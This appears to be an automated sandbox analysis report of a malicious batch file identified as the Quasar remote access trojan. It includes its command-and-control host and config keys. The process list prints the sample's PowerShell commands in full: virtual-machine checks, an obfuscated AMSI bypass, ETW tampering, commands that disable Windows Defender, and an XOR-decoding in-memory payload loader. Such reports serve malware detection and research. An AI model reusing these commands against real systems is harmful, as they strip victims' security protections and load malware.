Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    23/02/2026, 16:03

General

  • Target
    Loli.bat
  • Size 11.5MB
  • Sample260223-thm1wsax6e
  • SHA256 bed39fc7897d400ca51a382f7629f687eb75ea9d7cd0bfefd1e5be4c23145c05
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • quasar

Version
  • 1.5.2

Botnet
  • OniCHAN~

C2
  • aimbotfr-43342.portmap.host:43342

Mutex
  • a2d36a28-ece8-420c-a406-5106c3e257a2

Attributes
  • encryption_key

    2568EDBF429D4745FE7EC67848063D60B82823D8

  • install_name

    Client.exe

  • key_salt

    bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941

  • log_directory

    Logs

  • reconnect_delay

    5000

  • startup_key

    Quasar Modded Client Startup

  • subdirectory

    SubDir

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs
  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar family
  • Quasar payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Hide Artifacts: Ignore Process Interrupts 1 TTPs 3 IoCs

    Command interpreters often include specific commands/flags that ignore errors and other hangups.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Checks processor information in registry 2 TTPs 7 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Loli.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3508
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -w h -c "$m=(Get-WmiObject Win32_ComputerSystem).Manufacturer; if($m -match 'DADY|VMware|VirtualBox|QEMU|Xen|Parallels'){exit 1}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3392
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -nop -w h -c "$m=(Get-WmiObject Win32_ComputerSystem).Model; if($m -match 'Virtual'){exit 1}"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2360
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -nop -c "[Ref].Assembly.GetType('Sy'+'stem.Manage'+'ment.Autom'+'ation.'+[char]65+[char]109+'siU'+'tils').GetField([char]97+'ms'+'iIn'+'itFa'+'iled','NonPublic,Static').SetValue($null,$true)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2272
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -nop -c "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Force -ErrorAction SilentlyContinue | Out-Null; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name 'DisableAntiSpyware' -Value 1 -ErrorAction SilentlyContinue"
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -nop -c "New-Item -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Force -ErrorAction SilentlyContinue | Out-Null; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableRealtimeMonitoring' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableBehaviorMonitoring' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableOnAccessProtection' -Value 1 -ErrorAction SilentlyContinue; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name 'DisableScanOnRealtimeEnable' -Value 1 -ErrorAction SilentlyContinue"
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2572
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -w h -nop -c "Stop-Service -Name 'WinDefend' -Force -ErrorAction SilentlyContinue; Set-Service -Name 'WinDefend' -StartupType Disabled -ErrorAction SilentlyContinue; Stop-Service -Name 'Sense' -Force -ErrorAction SilentlyContinue; Set-Service -Name 'Sense' -StartupType Disabled -ErrorAction SilentlyContinue; Stop-Service -Name 'WdNisSvc' -Force -ErrorAction SilentlyContinue; Set-Service -Name 'WdNisSvc' -StartupType Disabled -ErrorAction SilentlyContinue; Stop-Service -Name 'WdFilter' -Force -ErrorAction SilentlyContinue; Set-Service -Name 'WdFilter' -StartupType Disabled -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Hide Artifacts: Ignore Process Interrupts
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4892
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -w h -nop -c "& { try{[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}catch{}; try{[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)}catch{}; $b64 = Get-Content 'C:\Users\Admin\AppData\Local\Temp\KgtTXMdkLx.txt' -Raw; $b64 = $b64 -replace '[\r\n]',''; $encBytes = [System.Convert]::FromBase64String($b64); [array]::Reverse($encBytes); $key = 0xAA; $bytes = New-Object byte[] $encBytes.Length; for($i=0; $i -lt $encBytes.Length; $i++){ $bytes[$i] = $encBytes[$i] -bxor $key }; $asm = [System.Reflection.Assembly]::Load($bytes); $entry = $asm.EntryPoint; if($entry -ne $null){ $entry.Invoke($null, @(,[string[]]@())) } else { $types = $asm.GetTypes(); foreach($type in $types){ $methods = $type.GetMethods([System.Reflection.BindingFlags]'Public,Static'); foreach($method in $methods){ if($method.Name -eq 'Main'){ $method.Invoke($null, @(,[string[]]@())); break; } } } } }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2044
      • C:\Windows\system32\wermgr.exe
        "C:\Windows\system32\wermgr.exe" "-outproc" "0" "2044" "2356" "2316" "2352" "0" "0" "2360" "0" "0" "0" "0" "0"
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        PID:832
    • C:\Windows\system32\cmd.exe
      cmd /c "ping localhost -n 8 >nul 2>&1 & del /f /q "C:\Users\Admin\AppData\Local\Temp\KgtTXMdkLx.txt" >nul 2>&1"
      2⤵
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:352
      • C:\Windows\system32\PING.EXE
        ping localhost -n 8
        3⤵
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:620

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 76fa6de786cb015aa6c8735c83a7ce5b7720df0df0e8bec83f8d67f15e884b9a
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 b7a310f65a970fe4c65c8f9a83f7d402f8527b216a38b17336add7218c5613a5
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 3a3dd2d4bdfc17d64262f4dc86ceb242ecf743f2da0412eb60074557a741a5eb
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 948B
        • SHA256 4518fb6ffb3f70be78cb243cac94fcf74d9c58d2e7bd8c510ebe696d3f81cb60
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 f615de73f80793d41f12b21a4339358307551b41a10742a820c467c32efaf54f
        • MD5 SHA1 SHA512 TLSH

        KgtTXMdkLx.txt

        • Path C:\Users\Admin\AppData\Local\Temp\KgtTXMdkLx.txt
        • Size 945KB
        • SHA256 1cb5a383a602dd38d3394dbdadce550d88d8a42643b05a0b5fdece33274bf5db
        • MD5 SHA1 SHA512 SSDEEP TLSH

        KgtTXMdkLx.txt

        • Path C:\Users\Admin\AppData\Local\Temp\KgtTXMdkLx.txt
        • Size 54KB
        • SHA256 2f1b34769fec3b931cb4a1e12887237a07f9eaea4e170e2d95f7689b6ae67f3b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_a4ubnva5.cza.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a4ubnva5.cza.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/1552-47-0x0000021D44010000-0x0000021D4401C000-memory.dmp

        memory/1552-48-0x0000021D44080000-0x0000021D44092000-memory.dmp

        memory/2044-209-0x00000261DD920000-0x00000261DD92C000-memory.dmp

        memory/2044-201-0x00000261F8420000-0x00000261F8470000-memory.dmp

        memory/2044-210-0x00000261DF600000-0x00000261DF612000-memory.dmp

        memory/2044-202-0x00000261F8530000-0x00000261F85E2000-memory.dmp

        memory/2044-203-0x00000261F87C0000-0x00000261F8982000-memory.dmp

        memory/2044-200-0x00000261F7D50000-0x00000261F7E08000-memory.dmp

        memory/2272-37-0x000001E827A70000-0x000001E827A7C000-memory.dmp

        memory/2272-38-0x000001E829670000-0x000001E829682000-memory.dmp

        memory/2360-16-0x000001FE32830000-0x000001FE32840000-memory.dmp

        memory/2360-27-0x000001FE18960000-0x000001FE1896C000-memory.dmp

        memory/2360-26-0x000001FE18760000-0x000001FE188FA000-memory.dmp

        memory/2360-28-0x000001FE1A3B0000-0x000001FE1A3C2000-memory.dmp

        memory/2360-24-0x000001FE32830000-0x000001FE32840000-memory.dmp

        memory/2360-15-0x000001FE32830000-0x000001FE32840000-memory.dmp

        memory/2572-58-0x00000225772F0000-0x0000022577302000-memory.dmp

        memory/2572-57-0x000002255EC60000-0x000002255EC6C000-memory.dmp

        memory/3392-13-0x000002416F970000-0x000002416F982000-memory.dmp

        memory/3392-7-0x000002416F9C0000-0x000002416F9E2000-memory.dmp

        memory/3392-0-0x000002416F9F0000-0x000002416FA00000-memory.dmp

        memory/3392-1-0x000002416F9F0000-0x000002416FA00000-memory.dmp

        memory/3392-9-0x000002416F9F0000-0x000002416FA00000-memory.dmp

        memory/3392-12-0x0000024155AB0000-0x0000024155ABC000-memory.dmp

        memory/4892-67-0x0000022294E20000-0x0000022294FBA000-memory.dmp

        memory/4892-69-0x00000222AEEE0000-0x00000222AEEF2000-memory.dmp

        memory/4892-68-0x00000222967D0000-0x00000222967DC000-memory.dmp